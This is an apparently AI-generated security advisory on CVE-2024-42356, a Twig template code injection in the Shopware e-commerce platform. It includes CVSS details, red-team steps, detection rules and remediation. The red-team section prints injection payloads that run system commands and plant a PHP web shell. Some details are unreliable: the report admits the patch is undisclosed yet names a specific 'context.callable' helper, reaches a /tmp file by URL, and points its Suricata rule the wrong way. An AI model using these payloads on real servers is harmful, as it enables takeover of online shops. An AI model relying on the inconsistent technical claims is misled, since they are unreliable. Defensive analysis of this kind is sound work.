CVE-2024-42356

Executive Summary

CVE-2024-42356 is a critical code injection vulnerability in the Shopware open commerce platform. The flaw resides in the Twig templating engine, where the context object is injected into almost any template. This object exposes a helper function that allows an attacker to call any statically callable PHP function or method. While exploitation requires administrative access (e.g., via Mail templates or App Scripts), the impact is severe: an authenticated admin can execute arbitrary PHP code on the server, leading to full system compromise. The CVSS score is 8.3 (High), and no public exploit code or PoC has been released as of this analysis.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.3 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high privileges required reduce the attack surface, but once an admin account is compromised or an admin is tricked, the attacker gains full control.

Deep Dive & Mechanics

The vulnerability is rooted in the Twig templating engine's context variable. In Shopware, this variable is injected into nearly all Twig templates and contains sensitive data like language and currency information. More critically, it includes a helper function that temporarily changes the scope of the Context. This function accepts a callable as its second parameter. Because Twig allows calling PHP functions, an attacker can invoke any statically callable PHP function or method by crafting a malicious Twig template.

The attack flow:

1. An attacker with admin access (or via XSS/CSRF) modifies a Mail template or an App Script.
2. The attacker injects Twig code that uses the context helper to call a PHP function like system, exec, or file_put_contents.
3. When the template is rendered (e.g., during order confirmation email generation), the malicious PHP function executes.
4. The attacker achieves remote code execution (RCE) on the Shopware server.

The vulnerability is classified under CWE-94 (Improper Control of Generation of Code - Code Injection). The patch restricts the callable parameter to only allow safe, predefined functions.

Vulnerable vs. Patched Code

Vulnerable Code (Twig template example):

{% set result = context.callable('system', 'id') %}
{{ result }}

Patched Code (Shopware 6.6.5.1 / 6.5.8.13): The patch introduces a whitelist of allowed callables, preventing arbitrary PHP function execution. The context helper now only accepts a limited set of safe functions (e.g., trans, sw_sanitize). The exact patch diff is not publicly available, but the fix involves modifying the Context class to validate the callable parameter.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Admin credentials to Shopware backend.
• Access to Mail templates or App Scripts.

Steps:

1. Log in as admin.
2. Navigate to Settings > Email Templates or Apps > Scripts.
3. Edit an existing template or create a new one.
4. Inject the following Twig code:

   {% set output = context.callable('system', 'whoami') %}
   {{ output }}
   

5. Trigger the template (e.g., place an order to send an email).
6. The output of whoami will be rendered in the email or log.

Advanced Payload (Reverse Shell):

{% set shell = context.callable('file_put_contents', '/tmp/shell.php', '<?php system($_GET["cmd"]); ?>') %}

Then access /tmp/shell.php?cmd=id.

Blue Team (Detection & Response)

Detection:

• Monitor for unusual Twig template modifications by admin users.
• Alert on templates containing context.callable or call_user_func patterns.
• Use file integrity monitoring on template files.

Response:

• Immediately revoke admin sessions if suspicious template changes are detected.
• Restore templates from backup.
• Apply the patch or security plugin.

Indicators of Compromise (IOCs)

• File-based:
  • Modified Twig templates in custom/plugins/*/Resources/views/ or vendor/shopware/core/Resources/views/.
  • Unexpected PHP files in web root (e.g., shell.php).
• Network-based:
  • Outbound connections to attacker-controlled IPs from the Shopware server.
  • Unusual HTTP requests to /admin with template editing actions.
• Log-based:
  • Shopware logs showing context.callable usage.
  • PHP error logs with system() or exec() calls.

Detection Engineering

YARA Rule

rule CVE_2024_42356_Twig_Injection {
    meta:
        description = "Detects malicious Twig templates exploiting CVE-2024-42356"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42356"
    strings:
        $callable = "context.callable" nocase
        $system = /system\s*\(/ nocase
        $exec = /exec\s*\(/ nocase
        $file_put = /file_put_contents\s*\(/ nocase
    condition:
        $callable and ($system or $exec or $file_put)
}

Sigma Rule

title: CVE-2024-42356 Twig Template Injection
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects modification of Shopware Twig templates containing suspicious callable usage
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.twig'
        TargetFilename|contains: 'shopware'
    keywords:
        - 'context.callable'
        - 'system('
        - 'exec('
        - 'file_put_contents('
    condition: selection and keywords
falsepositives:
    - Legitimate admin template modifications (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-42356 Shopware Twig Injection Attempt"; flow:to_server,established; content:"context.callable"; http_client_body; nocase; content:"system"; http_client_body; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to Shopware 6.6.5.1 or 6.5.8.13.
2. For older versions (6.1-6.4), install the security plugin from Shopware.
3. Review and reset all admin passwords.
4. Audit all Twig templates for malicious modifications.

Long-term Measures:

• Implement strict access controls for admin accounts (MFA, least privilege).
• Monitor template changes with file integrity monitoring (e.g., OSSEC, Tripwire).
• Regularly update Shopware and all plugins.
• Use a Web Application Firewall (WAF) to block malicious Twig patterns.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.